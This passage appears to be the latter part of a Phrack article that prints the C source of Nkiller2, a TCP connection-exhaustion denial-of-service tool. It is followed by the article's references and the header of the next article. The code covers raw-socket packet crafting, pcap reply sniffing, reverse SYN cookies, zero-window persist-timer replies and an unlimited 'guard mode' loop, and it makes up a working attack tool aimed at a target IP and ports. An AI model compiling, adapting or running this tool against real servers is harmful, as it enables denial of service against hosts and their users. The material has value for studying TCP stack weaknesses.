"nkiller2 [‑t addr] [‑p ports] [‑k key] [‑n total probes]\n" " [‑N probes/rnd] [‑c msec] [‑l payload] [‑w path]\n" " [‑s sleep] [‑d level] [‑r vhost] [‑T template]\n" " [‑P probe‑interval] [‑hvyg]\n"

"Please use `‑h' for detailed help.\n"); exit(EX_USAGE);

}

/*

* Print detailed help

*/

static void

help(void)

{

static const char *help_message =

"Nkiller2 ‑ a TCP exhaustion & stressing tool\n"

"\n"

"Copyright (c) 2008 ithilgore <ithilgore.ryu.L@gmail.com>\n" "http://sock‑raw.org\n"

"\n"

"Nkiller is free software, covered by the GNU General Public License," "\nand you are welcome to change it and/or distribute copies of it " "under\ncertain conditions. See the file `COPYING' in the source\n" "distribution of nkiller for the conditions and terms that it is\n" "distributed under.\n"

"\n"

" WARNING:\n"

"The authors disclaim any express or implied warranties, including,\n" "but not limited to, the implied warranties of merchantability and\n" "fitness for any particular purpose. In no event shall the authors " "or\ncontributors be liable for any direct, indirect, incidental, " "special,\nexemplary, or consequential damages (including, but not " "limited to,\nprocurement of substitute goods or services; loss of " "use, data, or\nprofits; or business interruption) however caused and" " on any theory\nof liability, whether in contract, strict liability," " or tort\n(including negligence or otherwise) arising in any way out" " of the use\nof this software, even if advised of the possibility of" " such damage.\n\n"

"Usage:\n"

"\n"

" nkiller2 ‑t <target> ‑p <ports> [options]\n"

"\n"

"Mandatory:\n"

" ‑t target The IP address of the target host.\n" " ‑p port[,port] A list of ports, separated by commas. Specify\n" " only ports that are known to be open, or use\n" " ‑y when unsure.\n"

"Options:\n"

" ‑c msec Time in microseconds, between each pcap poll\n" " for packets (pcap poll timeout).\n" " ‑d level Set the debug level (1: some, 2: all)\n" " ‑h Print this help message.\n"

" ‑k key Set the key for reverse SYN cookies.\n" " ‑l payload Additional payload string.\n"

" ‑s sleep Average time in ms between each probe.\n" " ‑n probes Set the number of probes, 0 for unlimited.\n" " ‑N probes/rnd Number of probes per round.\n"

" ‑T template Attacked network stack template:\n" " 0. Linux (default)\n"

" 1. *BSD | Windows\n"

" ‑P time Number of seconds after which we reply to the\n" " persist timer probes.\n"

" ‑w path URL or GET request to web server. The path of\n" " a big file (> 4K) should work nicely here.\n" " ‑r vhost Virtual host name. This is needed for web\n" " hosts that support virtual hosting on HTTP1.1\n" " ‑g Guardmode. Continue answering to zero probes \n" " until the end of times.\n"

" ‑y Dynamic port handling. Remove ports from the\n" " port list if we get an RST for them. Useful\n" " when you do not know if one port is open for " "sure.\n"

" ‑v Verbose mode.\n";

printf("%s", help_message);

fflush(stdout);

}

/*

* Build a TCP packet from its constituents

*/

static char *

build_tcpip_packet(const struct in_addr *source,

const struct in_addr *target, uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid, uint16_t window, uint8_t flags, char *data, uint16_t datalen, char *tcpopt, unsigned int tcpopt_len, unsigned int *packetlen) {

char *packet;

struct ip *ip;

struct tcphdr *tcp;

pseudo_hdr *phdr;

char *tcpdata;

/* fake length to account for 16bit word padding chksum */

unsigned int chklen;

if (tcpopt_len % 4)

fatal("TCP option length must be divisible by 4.\n");

*packetlen = sizeof(*ip) + sizeof(*tcp) + tcpopt_len + datalen; if (*packetlen % 2)

chklen = *packetlen + 1;

else

chklen = *packetlen;

packet = xmalloc(chklen + sizeof(*phdr));

ip = (struct ip *)packet;

tcp = (struct tcphdr *) ((char *)ip + sizeof(*ip)); tcpdata = (char *) ((char *)tcp + sizeof(*tcp) + tcpopt_len);

memset(packet, 0, chklen);

ip‑>ip_v = 4;

ip‑>ip_hl = 5;

ip‑>ip_tos = 0;

ip‑>ip_len = *packetlen; /* must be in host byte order for FreeBSD */

ip‑>ip_id = htons(ipid); /* kernel will fill with random value if 0 */

ip‑>ip_off = 0;

ip‑>ip_ttl = ttl;

ip‑>ip_p = IPPROTO_TCP;

ip‑>ip_sum = checksum_comp((unsigned short *)ip, sizeof(struct ip)); ip‑>ip_src.s_addr = source‑>s_addr;

ip‑>ip_dst.s_addr = target‑>s_addr;

tcp‑>th_sport = htons(sport);

tcp‑>th_dport = htons(dport);

tcp‑>th_seq = seq;

tcp‑>th_ack = ack;

tcp‑>th_x2 = 0;

tcp‑>th_off = 5 + (tcpopt_len / 4);

tcp‑>th_flags = flags;

tcp‑>th_win = htons(window);

tcp‑>th_urp = 0;

memcpy((char *)tcp + sizeof(*tcp), tcpopt, tcpopt_len); memcpy(tcpdata, data, datalen);

/* pseudo header used for checksumming */

phdr = (struct pseudo_hdr *) ((char *)packet + chklen); phdr‑>src = source‑>s_addr;

phdr‑>dst = target‑>s_addr;

phdr‑>mbz = 0;

phdr‑>proto = IPPROTO_TCP;

phdr‑>len = ntohs((tcp‑>th_off * 4) + datalen);

/* tcp checksum */

tcp‑>th_sum = checksum_comp((unsigned short *)tcp, chklen ‑ sizeof(*ip) + sizeof(*phdr));

return packet;

}

/*

* Write the packet to the network and free it from memory

*/

static void

send_packet(char* packet, unsigned int *packetlen)

{

struct sockaddr_in sin;

int sockfd, one;

sin.sin_family = AF_INET;

sin.sin_port = ((struct tcphdr *)(packet + sizeof(struct ip)))‑>th_dport;

sin.sin_addr.s_addr = ((struct ip *)(packet))‑>ip_dst.s_addr;

if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) fatal("cannot open socket");

one = 1;

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *) &one, sizeof(one));

if (sendto(sockfd, packet, *packetlen, 0,

(struct sockaddr *)&sin, sizeof(sin)) < 0) { fatal("sendto error: ");

}

close(sockfd);

free(packet);

}

/*

* Build TCP timestamp option

* tcpopt points to possibly already existing TCP options

* so inspect current TCP option length (tcpopt_len)

*/

static char *

build_timestamp(char **tcpopt, unsigned int *tcpopt_len, uint32_t tsval, uint32_t tsecr)

{

struct timeval now;

tcp_timestamp t;

char *opt;

if (*tcpopt_len) {

opt = xrealloc(*tcpopt, *tcpopt_len + sizeof(t)); *tcpopt = opt;

opt += *tcpopt_len;

} else

*tcpopt = xmalloc(sizeof(t));

memset(&t, TCPOPT_NOP, sizeof(t));

t.kind = TCPOPT_TIMESTAMP;

t.length = 10;

if (gettimeofday(&now, NULL) < 0)

fatal("Couldn't get time of day\n");

t.tsval = htonl((tsval) ? tsval : (uint32_t)now.tv_sec); t.tsecr = htonl((tsecr) ? tsecr : 0);

if (*tcpopt_len)

memcpy(opt, &t, sizeof(t));

else

memcpy(*tcpopt, &t, sizeof(t));

*tcpopt_len += sizeof(t);

return *tcpopt;

}

/*

* Build TCP Maximum Segment Size option

*/

static char *

build_mss(char **tcpopt, unsigned int *tcpopt_len, uint16_t mss) {

struct tcp_mss t;

char *opt;

if (*tcpopt_len) {

opt = realloc(*tcpopt, *tcpopt_len + sizeof(t)); *tcpopt = opt;

opt += *tcpopt_len;

} else

*tcpopt = xmalloc(sizeof(t));

memset(&t, TCPOPT_NOP, sizeof(t));

t.kind = TCPOPT_MAXSEG;

t.length = 4;

t.mss = htons(mss);

if (*tcpopt_len)

memcpy(opt, &t, sizeof(t));

else

memcpy(*tcpopt, &t, sizeof(t));

*tcpopt_len += sizeof(t);

return *tcpopt;

}

/*

* Perform pcap polling (until a certain timeout) and

* return the packet you got ‑ also check that the

* packet we get is something we were expecting, according

* to the reverse cookie we had set in the tcp seq field.

* Returns the virtual state that the reply denotes and which * we differentiate from each other based on packet parsing techniques. */

static int

check_replies(HostInfo *Target, SniffInfo *Sniffer, u_char **reply) {

int timedout = 0;

int goodone = 0;

const u_char *packet = NULL;

uint32_t decoded_seq;

uint32_t ack, calc_ack;

int state;

uint16_t datagram_len;

uint32_t datalen;

struct Sock sockinfo;

struct pcap_pkthdr phead;

const struct ip *ip;

const struct tcphdr *tcp;

struct timeval now, wait;

uint32_t tsval, tsecr;

uint32_t time_elapsed = 0;

state = 0;

if (gettimeofday(&wait, NULL) < 0)

fatal("Couldn't get time of day\n");

/* poll for 'polltime' micro seconds */

wait.tv_usec += o.polltime;

do {

datagram_len = 0;

packet = pcap_next(Sniffer‑>pd, &phead);

if (gettimeofday(&now, NULL) < 0)

fatal("Couldn't get time of day\n");

if (TIMEVAL_SUBTRACT(wait, now) < 0)

timedout++;

if (packet == NULL)

continue;

/* This only works on Ethernet ‑ be warned */

if (*(packet + 12) != 0x8) {

break; /* not an IPv4 packet */

}

ip = (const struct ip *) (packet + SIZE_ETHERNET);

/*

* TCP/IP header checking ‑ end cases are more than the ones * checked below but are so rarely happening that for * now we won't go into trouble to validate ‑ could also * use validedpkt() from nmap/tcpip.cc

*/

if (ip‑>ip_hl < 5) {

if (o.debug2)

(void) fprintf(stderr, "IP header < 20 bytes\n"); break;

}

if (ip‑>ip_p != IPPROTO_TCP) {

if (o.debug2)

(void) fprintf(stderr, "Packet not TCP\n"); break;

}

datagram_len = ntohs(ip‑>ip_len); /* Save length for later */

tcp = (const void *) ((const char *)ip + ip‑>ip_hl * 4); if (tcp‑>th_off < 5) {

if (o.debug2)

(void) fprintf(stderr, "TCP header < 20 bytes\n"); break;

}

datalen = datagram_len ‑ (ip‑>ip_hl * 4) ‑ (tcp‑>th_off * 4);

/* A non‑ACK packet is nothing valid */

if (!(tcp‑>th_flags & TH_ACK))

break;

/*

* We swap the values accordingly since we want to

* check the result with the 4tuple we had created

* when sending our own syn probe

*/

sockinfo.saddr.s_addr = ip‑>ip_dst.s_addr; sockinfo.daddr.s_addr = ip‑>ip_src.s_addr; sockinfo.sport = ntohs(tcp‑>th_dport);

sockinfo.dport = ntohs(tcp‑>th_sport);

decoded_seq = calc_cookie(&sockinfo);

if (tcp‑>th_flags & (TH_SYN|TH_RST)) {

ack = ntohl(tcp‑>th_ack) ‑ 1;

calc_ack = ntohl(decoded_seq);

/*

* We can't directly compare two values returned by * the ntohl functions

*/

if (ack != calc_ack)

break;

/* OK we got a reply to something we have sent */

/* SYNACK case */

if (tcp‑>th_flags & TH_SYN) {

if (o.dynamic && port_exists(Target, sockinfo.dport)) { if (o.debug2)

(void) fprintf(stderr, "Port doesn't exist in list " "‑ probably removed it before due to an RST and dynamic " "handling\n");

break;

}

if (o.debug)

(void) fprintf(stdout,

"Got SYN packet with seq: %x our port: %u " "target port: %u\n", decoded_seq, sockinfo.sport, sockinfo.dport);

goodone++;

state = S_SYNACK;

/* ERR case */

} else if (tcp‑>th_flags & TH_RST) {

/*

* If we get an RST packet this means that the port is * closed and thus we remove it from our port list. */

if (o.debug2)

(void) fprintf(stdout,

"Oops! Got an RST packet with seq: %x " "port %u is closed\n",decoded_seq, sockinfo.dport);

if (o.dynamic)

port_remove(Target, sockinfo.dport);

}

} else {

/*

* Each subsequent ACK that we get will have the * same acknowledgment number since we won't be sending * any more data to the target.

*/

ack = ntohl(tcp‑>th_ack);

calc_ack = ntohl(decoded_seq) + Target‑>wlen + 1;

if (ack != calc_ack)

break;

struct timeval now;

if (get_timestamp(tcp, &tsval, &tsecr)) {

if (gettimeofday(&now, NULL) < 0) fatal("Couldn't get time of day\n"); time_elapsed = now.tv_sec ‑ tsecr;

if (o.debug)

(void) fprintf(stdout, "Time elapsed: %u (sport: %u)\n", time_elapsed, sockinfo.sport);

} else

(void) fprintf(stdout, "Warning: No timestamp available from " "target host's reply. Chaotic behaviour imminent...\n");

/*

* First Data Acknowledgment case (FDACK)

* Note that this packet may not always appear, since there * is a chance that it will be piggybacked with the first * sending data of the peer, depending on whether the delayed * acknowledgment timer expired or not at the peer side. * Practically, we choose to ignore it and wait until * we receive actual data.

*/

if (ack == calc_ack && (!datalen || datalen == 1) && time_elapsed < o.probe_interval) {

state = S_FDACK;

break;

}

/*

* Data ‑ victim sent the first packet(s) of data */

if (ack == calc_ack && datalen > 1) {

if (tcp‑>th_flags & TH_PUSH) {

state = S_DATA_1;

goodone++;

break;

} else {

state = S_DATA_0;

goodone++;

break;

}

}

/*

* Persist (Probe) Timer reply

* The time_elapsed limit must be at least equal to the product: * ('persist_timer_interval' * '/proc/sys/net/ipv4/tcp_retries2') * or else we might lose an important probe and fail to ack it * On Linux: persist_timer_interval = about 2 minutes (after it has * stabilized) and tcp_retries2 = 15 probes.

* Note we check 'datalen' for both 0 and 1 since Linux probes * with 0 data, while *BSD/Windows probe with 1 byte of data */

if (ack == calc_ack && (!datalen || datalen == 1) && time_elapsed >= o.probe_interval) {

state = S_PROBE;

goodone++;

break;

}

}

} while (!timedout && !goodone);

if (goodone) {

*reply = xmalloc(datagram_len);

memcpy(*reply, packet + SIZE_ETHERNET, datagram_len);

}

return state;

}

/*

* Parse TCP options and get timestamp if it exists.

* Return 1 if timestamp valid, 0 for failure

*/

int

get_timestamp(const struct tcphdr *tcp, uint32_t *tsval, uint32_t *tsecr) {

u_char *p;

unsigned int op;

unsigned int oplen;

unsigned int len = 0;

if (!tsval || !tsecr)

return 0;

p = ((u_char *)tcp) + sizeof(*tcp);

len = 4 * tcp‑>th_off ‑ sizeof(*tcp);

while (len > 0 && *p != TCPOPT_EOL) {

op = *p++;

if (op == TCPOPT_EOL)

break;

if (op == TCPOPT_NOP) {

len‑‑;

continue;

}

oplen = *p++;

if (oplen < 2)

break;

if (oplen > len)

break; /* not enough space */

if (op == TCPOPT_TIMESTAMP && oplen == 10) {

/* legitimate timestamp option */

if (tsval) {

memcpy((char *)tsval, p, 4);

*tsval = ntohl(*tsval);

}

p += 4;

if (tsecr) {

memcpy((char *)tsecr, p, 4);

*tsecr = ntohl(*tsecr);

}

return 1;

}

len ‑= oplen;

p += oplen ‑ 2;

}

*tsval = 0;

*tsecr = 0;

return 0;

}

/*

* Craft SYN initiating probe

*/

static void

send_syn_probe(HostInfo *Target, SniffInfo *Sniffer)

{

char *packet;

char *tcpopt;

uint16_t sport, dport;

uint32_t encoded_seq;

unsigned int packetlen, tcpopt_len;

Sock *sockinfo;

tcpopt_len = 0;

sockinfo = xmalloc(sizeof(*sockinfo));

sport = (1024 + random()) % 65536;

dport = port_get_random(Target);

/* Calculate reverse cookie and encode value into sequence number */

sockinfo‑>saddr.s_addr = Sniffer‑>saddr.s_addr; sockinfo‑>daddr.s_addr = Target‑>daddr.s_addr; sockinfo‑>sport = sport;

sockinfo‑>dport = dport;

encoded_seq = calc_cookie(sockinfo);

/* Build tcp options ‑ timestamp, mss */

tcpopt = build_timestamp(&tcpopt, &tcpopt_len, 0, 0); tcpopt = build_mss(&tcpopt, &tcpopt_len, 1024);

packet = build_tcpip_packet(

&Sniffer‑>saddr,

&Target‑>daddr,

sport,

dport,

encoded_seq,

0,

64,

random() % (uint16_t)~0,

1024,

TH_SYN,

NULL,

0,

tcpopt,

tcpopt_len,

&packetlen

);

send_packet(packet, &packetlen);

free(tcpopt);

free(sockinfo);

}

/*

* Generic probe function: depending on the value of 'state' as * denoted by check_replies() earlier, we trigger a different probe * behaviour, taking also into account any network stack templates. */

static int

send_probe(const u_char *reply, HostInfo *Target, int state)

{

char *packet;

unsigned int packetlen;

uint32_t ack;

char *tcpopt;

unsigned int tcpopt_len;

int validstamp;

uint32_t tsval, tsecr;

struct ip *ip;

struct tcphdr *tcp;

uint16_t datalen;

uint16_t window;

int payload = 0;

validstamp = 0;

tcpopt_len = 0;

ip = (struct ip *)reply;

tcp = (struct tcphdr *)((char *)ip + ip‑>ip_hl * 4); datalen = ntohs(ip‑>ip_len) ‑ (ip‑>ip_hl * 4) ‑ (tcp‑>th_off * 4);

switch (state) {

case S_SYNACK:

ack = ntohl(tcp‑>th_seq) + 1;

window = 1024;

payload++;

break;

case S_DATA_0:

ack = ntohl(tcp‑>th_seq) + datalen;

if (o.template == T_BSDWIN)

window = 0;

else

window = 512;

break;

case S_DATA_1:

ack = ntohl(tcp‑>th_seq) + datalen;

window = 0;

break;

case S_PROBE:

ack = ntohl(tcp‑>th_seq);

window = 0;

break;

default: /* we shouldn't get here */

ack = ntohl(tcp‑>th_seq);

window = 0;

break;

}

if (get_timestamp(tcp, &tsval, &tsecr)) {

validstamp++;

tcpopt = build_timestamp(&tcpopt, &tcpopt_len, 0, tsval); }

packet = build_tcpip_packet(

&ip‑>ip_dst, /* mind the swapping */

&ip‑>ip_src,

ntohs(tcp‑>th_dport),

ntohs(tcp‑>th_sport),

tcp‑>th_ack, /* as seq field */

htonl(ack),

64,

random() % (uint16_t)~0,

window,

TH_ACK,

(payload) ? ((ntohs(tcp‑>th_sport) == 80)

? Target‑>url : Target‑>payload) : NULL, (payload) ? ((ntohs(tcp‑>th_sport) == 80)

? Target‑>wlen : Target‑>plen) : 0,

(validstamp) ? tcpopt : NULL,

(validstamp) ? tcpopt_len : 0,

&packetlen

);

send_packet(packet, &packetlen);

free(tcpopt);

return 0;

}

/*

* Reverse(or client) syn_cookie function ‑ encode the 4tuple * { src ip, src port, dst ip, dst port } and a secret key into * the sequence number, thus keeping info of the packet inside itself * (idea taken by scanrand ‑ Nmap uses an equivalent technique too) */

static uint32_t

calc_cookie(Sock *sockinfo)

{

uint32_t seq;

unsigned int cookie_len;

unsigned int input_len;

unsigned char *input;

unsigned char cookie[EVP_MAX_MD_SIZE];

input_len = sizeof(*sockinfo);

input = xmalloc(input_len);

memcpy(input, sockinfo, sizeof(*sockinfo));

/* Calculate a sha1 hash based on the quadruple and the skey */

HMAC(EVP_sha1(), (char *)o.skey, strlen(o.skey), input, input_len, cookie, &cookie_len);

free(input);

/* Get only the first 32 bits of the sha1 hash */

memcpy(&seq, &cookie, sizeof(seq));

return seq;

}

static void

sniffer_init(HostInfo *Target, SniffInfo *Sniffer)

{

char errbuf[PCAP_ERRBUF_SIZE];

struct bpf_program bpf;

struct pcap_addr *address;

struct sockaddr_in *ip;

char filter[27];

strncpy(filter, "src host ", sizeof(filter));

strncpy(&filter[sizeof("src host ")‑1], inet_ntoa(Target‑>daddr), 16); if (o.debug)

(void) fprintf(stdout, "Filter: %s\n", filter);

if ((pcap_findalldevs(&Sniffer‑>dev, errbuf)) == ‑1) fatal("%s: pcap_findalldevs(): %s\n", __func__, errbuf);

address = Sniffer‑>dev‑>addresses;

address = address‑>next; /* first address is garbage */

if (address‑>addr) {

ip = (struct sockaddr_in *) address‑>addr;

memcpy(&Sniffer‑>saddr, &ip‑>sin_addr, sizeof(struct in_addr)); if (o.debug) {

(void) fprintf(stdout, "Local IP: %s\nDevice name: " "%s\n", inet_ntoa(Sniffer‑>saddr), Sniffer‑>dev‑>name); }

} else

fatal("%s: Couldn't find associated IP with interface %s\n", __func__, Sniffer‑>dev‑>name);

if (!(Sniffer‑>pd = pcap_open_live(Sniffer‑>dev‑>name, BUFSIZ, 0, 0, errbuf))) fatal("%s: Could not open device %s: error: %s\n ", __func__, Sniffer‑>dev‑>name, errbuf);

if (pcap_compile(Sniffer‑>pd , &bpf, filter, 0, 0) == ‑1) fatal("%s: Couldn't parse filter %s: %s\n ", __func__, filter, pcap_geterr(Sniffer‑>pd));

if (pcap_setfilter(Sniffer‑>pd, &bpf) == ‑1)

fatal("%s: Couldn't install filter %s: %s\n", __func__, filter, pcap_geterr(Sniffer‑>pd));

if (pcap_setnonblock(Sniffer‑>pd, 1, NULL) < 0) fprintf(stderr, "Couldn't set nonblocking mode\n");

}

static uint16_t *

port_parse(char *portarg, unsigned int *portlen)

{

char *endp;

uint16_t *ports;

unsigned int nports;

unsigned long pvalue;

char *temp;

*portlen = 0;

ports = xmalloc(65535 * sizeof(uint16_t));

nports = 0;

while (nports < 65535) {

if (nports == 0)

temp = strtok(portarg, ",");

else

temp = strtok(NULL, ",");

if (temp == NULL)

break;

endp = NULL;

errno = 0;

pvalue = strtoul(temp, &endp, 0);

if (errno != 0 || *endp != '\0') {

fprintf(stderr, "Invalid port number: %s\n", temp);

goto cleanup;

}

if (pvalue > IPPORT_MAX) {

fprintf(stderr, "Port number too large: %s\n", temp);

goto cleanup;

}

ports[nports++] = (uint16_t)pvalue;

}

if (portlen != NULL)

*portlen = nports;

return ports;

cleanup:

free(ports);

return NULL;

}

/*

* Check if port is in list, return 0 if it is, ‑1 if not

* (similar to port_remove in logic)

*/

static int

port_exists(HostInfo *Target, uint16_t port)

{

port_elem *current;

port_elem *before;

current = Target‑>ports.first;

before = Target‑>ports.first;

while (current‑>port_val != port && current‑>next != NULL) { before = current;

current = current‑>next;

}

if (current‑>port_val != port && current‑>next == NULL) { if (o.debug2)

(void) fprintf(stderr, "%s: port %u doesn't exist in " "list\n", __func__, port);

return ‑1;

} else

return 0;

}

/*

* Remove specific port from portlist

*/

static void

port_remove(HostInfo *Target, uint16_t port)

{

port_elem *current;

port_elem *before;

current = Target‑>ports.first;

before = Target‑>ports.first;

while (current‑>port_val != port && current‑>next != NULL) { before = current;

current = current‑>next;

}

if (current‑>port_val != port && current‑>next == NULL) { if (current != Target‑>ports.first) {

if (o.debug2)

(void) fprintf(stderr, "Port %u not found in list\n", port); return;

}

}

if (current != Target‑>ports.first) {

before‑>next = current‑>next;

} else {

Target‑>ports.first = current‑>next;

}

Target‑>portlen‑‑;

if (!Target‑>portlen)

fatal("No port left to hit!\n");

}

/*

* Add new port to port linked list of Target

*/

static void

port_add(HostInfo *Target, uint16_t port)

{

port_elem *current;

port_elem *newNode;

newNode = xmalloc(sizeof(*newNode));

newNode‑>port_val = port;

newNode‑>next = NULL;

if (Target‑>ports.first == NULL) {

Target‑>ports.first = newNode;

Target‑>ports.last = newNode;

return;

}

current = Target‑>ports.last;

current‑>next = newNode;

Target‑>ports.last = newNode;

}

/*

* Return a random port from portlist

*/

static uint16_t

port_get_random(HostInfo *Target)

{

port_elem *temp;

unsigned int i, offset;

temp = Target‑>ports.first;

offset = (random() % Target‑>portlen);

i = 0;

while (i < offset) {

temp = temp‑>next;

i++;

}

return temp‑>port_val;

}

/*

* Prepare the payload that will be sent in the 3rd phase

* of the Connection‑estalishment handshake (piggypacked

* along with the ACK of the peer's SYNACK)

*/

static void

handle_payloads(HostInfo *Target)

{

if (o.payload[0]) {

Target‑>plen = strlen(o.payload);

Target‑>payload = xmalloc(Target‑>plen); strncpy(Target‑>payload, o.payload, Target‑>plen);

} else {

Target‑>payload = NULL;

Target‑>plen = 0;

}

if (o.path[0]) {

if (o.vhost[0]) {

Target‑>wlen = strlen(o.path) + strlen(o.vhost) + sizeof("GET HTTP/1.0\015\012Host: \015\012\015\012") ‑ 1; Target‑>url = xmalloc(Target‑>wlen + 1);

/* + 1 for trailing '\0' of snprintf() */

snprintf(Target‑>url, Target‑>wlen + 1,

"GET %s HTTP/1.0\015\012Host: %s\015\012\015\012", o.path, o.vhost);

} else {

Target‑>wlen = strlen(o.path) +

sizeof("GET HTTP/1.0\015\012\015\012") ‑ 1; Target‑>url = xmalloc(Target‑>wlen + 1); snprintf(Target‑>url, Target‑>wlen + 1,

"GET %s HTTP/1.0\015\012\015\012", o.path);

}

} else {

Target‑>wlen = sizeof(WEB_PAYLOAD) ‑ 1;

Target‑>url = xmalloc(Target‑>wlen); memcpy(Target‑>url, WEB_PAYLOAD, Target‑>wlen);

}

}

/* No way you have seen this before! */

static uint16_t

checksum_comp(uint16_t *addr, int len)

{

register long sum = 0;

uint16_t checksum;

int count = len;

uint16_t temp;

while (count > 1) {

temp = *addr++;

sum += temp;

count ‑= 2;

}

if (count > 0)

sum += *(char *) addr;

while (sum >> 16)

sum = (sum & 0xffff) + (sum >> 16);

checksum = ~sum;

return checksum;

}

int

main(int argc, char **argv)

{

int print_help;

int opt;

int required;

int debug_level;

size_t i;

unsigned int portlen;

unsigned int probes, probes_sent, probes_left;

unsigned int probes_this_rnd, probes_rnd_fini;

int unlimited, state, probe_byusr;

HostInfo *Target;

SniffInfo *Sniffer;

u_char *reply;

char *endp;

srandom(time(0));

if (argc == 1) {

usage();

}

memset(&o, 0, sizeof(o));

unlimited = 0;

required = 0;

portlen = 0;

print_help = 0;

probe_byusr = 0;

probes = DEFAULT_NUM_PROBES;

o.sleep = DEFAULT_SLEEP_TIME;

o.probes_per_rnd = DEFAULT_PROBES_RND;

o.probe_interval = DEFAULT_PROBE_INTERVAL;

strncpy(o.skey, DEFAULT_KEY, sizeof(o.skey));

o.polltime = DEFAULT_POLLTIME;

/* Option parsing */

while ((opt = getopt(argc, argv, "t:k:l:w:c:p:n:vd:s:r:N:T:P:yhg")) != ‑1)

{

switch (opt)

{

case 't': /* target address */

strncpy(o.target, optarg, sizeof(o.target)); required++;

break;

case 'k': /* secret key */

strncpy(o.skey, optarg, sizeof(o.skey)); break;

case 'l': /* payload */

strncpy(o.payload, optarg, sizeof(o.payload) ‑ 1); break;

case 'w': /* path */

strncpy(o.path, optarg, sizeof(o.path) ‑ 1); break;

case 'r': /* vhost name */

strncpy(o.vhost, optarg, sizeof(o.vhost) ‑1); break;

case 'c': /* polltime */

endp = NULL;

o.polltime = strtoul(optarg, &endp, 0);

if (errno != 0 || *endp != '\0') fatal("Invalid polltime: %s\n", optarg); break;

case 'p': /* destination port */

if (!(o.portlist = port_parse(optarg, &portlen))) fatal("Couldn't parse ports!\n"); required++;

break;

case 'n': /* number of probes */

endp = NULL;

o.probes = strtoul(optarg, &endp, 0);

if (errno != 0 || *endp != '\0') fatal("Invalid probe number: %s\n", optarg); probe_byusr++;

if (!o.probes) {

unlimited++;

probe_byusr = 0;

}

break;

case 'N': /* probes per round */

endp = NULL;

o.probes_per_rnd = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid probes‑per‑round number: %s\n", optarg); break;

case 'T': /* template number */

endp = NULL;

o.template = strtoul(optarg, &endp, 0);

if (errno != 0 || *endp != '\0') fatal("Invalid template number: %s\n", optarg); break;

case 'P': /* probe timer interval */

endp = NULL;

o.probe_interval = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid probe‑interval number: %s\n", optarg); break;

case 'g': /* guard mode */

o.guardmode++;

break;

case 'v': /* verbose mode */

o.verbose++;

break;

case 'd': /* debug mode */

endp = NULL;

debug_level = strtoul(optarg, &endp, 0);

if (errno != 0 || *endp != '\0') fatal("Invalid probe number: %s\n", optarg); if (debug_level != 1 && debug_level != 2) fatal("Debug level must be either 1 or 2\n"); else if (debug_level == 1)

o.debug++;

else {

o.debug2++;

o.debug++;

}

break;

case 's': /* sleep time between each probe */

endp = NULL;

o.sleep = strtoul(optarg, &endp, 0);

if (errno != 0 || *endp != '\0') fatal("Invalid sleep number: %s\n", optarg); break;

case 'y': /* dynamic port handling */

o.dynamic++;

break;

case 'h': /* help ‑ usage */

print_help = 1;

break;

case '?': /* error */

usage();

break;

}

}

if (print_help) {

help();

exit(EXIT_SUCCESS);

}

if (getuid() && geteuid())

fatal("You need to be root.\n");

if (required < 2)

fatal("You have to define both ‑t <target> and ‑p <portlist>\n");

(void) fprintf(stdout, "\nStarting Nkiller 2.0 "

"( http://sock‑raw.org )\n");

Target = xmalloc(sizeof(HostInfo));

Sniffer = xmalloc(sizeof(SniffInfo));

Target‑>portlen = portlen;

for (i = 0; i < Target‑>portlen; i++)

port_add(Target, o.portlist[i]);

if (!unlimited && probe_byusr)

probes = o.probes;

inet_pton(AF_INET, o.target, &Target‑>daddr);

handle_payloads(Target);

sniffer_init(Target, Sniffer);

if (o.verbose) {

if (unlimited)

(void) fprintf(stdout, "Probes: unlimited\n");

else

(void) fprintf(stdout, "Probes: %u\n", probes); (void) fprintf(stdout,

"Probes per round: %u\n"

"Pcap polling time: %u microseconds\n"

"Sleep time: %u microseconds\n"

"Key: %s\n"

"Probe interval: %u seconds\n"

"Template: %s\n", o.probes_per_rnd, o.polltime, o.sleep, o.skey, o.probe_interval, get_template(o.template)); if (o.guardmode)

(void) fprintf(stdout, "Guardmode on\n");

}

probes_sent = 0;

probes_left = probes;

probes_rnd_fini = 0;

probes_this_rnd = 0;

/* Main loop */

while (probes_left || o.guardmode || unlimited) {

if (probes_rnd_fini >= o.probes_per_rnd) { probes_rnd_fini = 0;

probes_this_rnd = 0;

}

if (!unlimited && probes_left == (0.5 * probes) && o.verbose) (void) fprintf(stdout, "Half of probes left.\n");

if (probes_sent < probes && probes_this_rnd < o.probes_per_rnd) { send_syn_probe(Target, Sniffer);

if (!unlimited)

probes_sent++;

probes_this_rnd++;

}

usleep(o.sleep); /* Wait a bit before each probe */

state = check_replies(Target, Sniffer, &reply);

switch (state)

{

case S_ERR:

continue;

break;

case S_SYNACK:

send_probe(reply, Target, S_SYNACK); free(reply);

break;

case S_FDACK:

continue;

break;

case S_PROBE:

send_probe(reply, Target, S_PROBE); free(reply);

probes_rnd_fini++;

if (!unlimited)

probes_left‑‑;

break;

case S_DATA_0:

send_probe(reply, Target, S_DATA_0); free(reply);

if (o.template == T_BSDWIN) probes_rnd_fini++;

break;

case S_DATA_1:

send_probe(reply, Target, S_DATA_1); free(reply);

/* Increase aggressiveness */

probes_rnd_fini++;

break;

default:

break;

}

}

(void) fprintf(stdout, "Finished.\n");

exit(EXIT_SUCCESS);

}

‑‑ [ 6 ‑ References

[1]. netkill ‑ generic remote DoS attack by stanislav shalunov http://seclists.org/bugtraq/2000/Apr/0152.html

[2]. TCP DoS Vulnerabilities by Fabian 'fabs' Yamaguchi http://www.recurity‑labs.com/content/pub/25C3TCPVulnerabilities.pdf

[3]. TCP/IP Illustrated vol. 1 ‑ W. Richard Stevens

[4]. Linux Kernel Development (Chapter 10 ‑ Timers and Time Management) ‑ Robert Love

Additional related material:

[5]. Understanding Linux Network Internals (O'reilly)

[6]. Understanding the Linux Kernel (O'reilly)

[7]. Dave Miller's TCP notes:

‑ http://vger.kernel.org/~davem/tcp_output.html

‑ http://vger.kernel.org/~davem/tcp_skbcb.html

[8]. The Design and Implementation of the FreeBSD Operating System

Malloc Des-Maleficarum

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x0A of 0x11

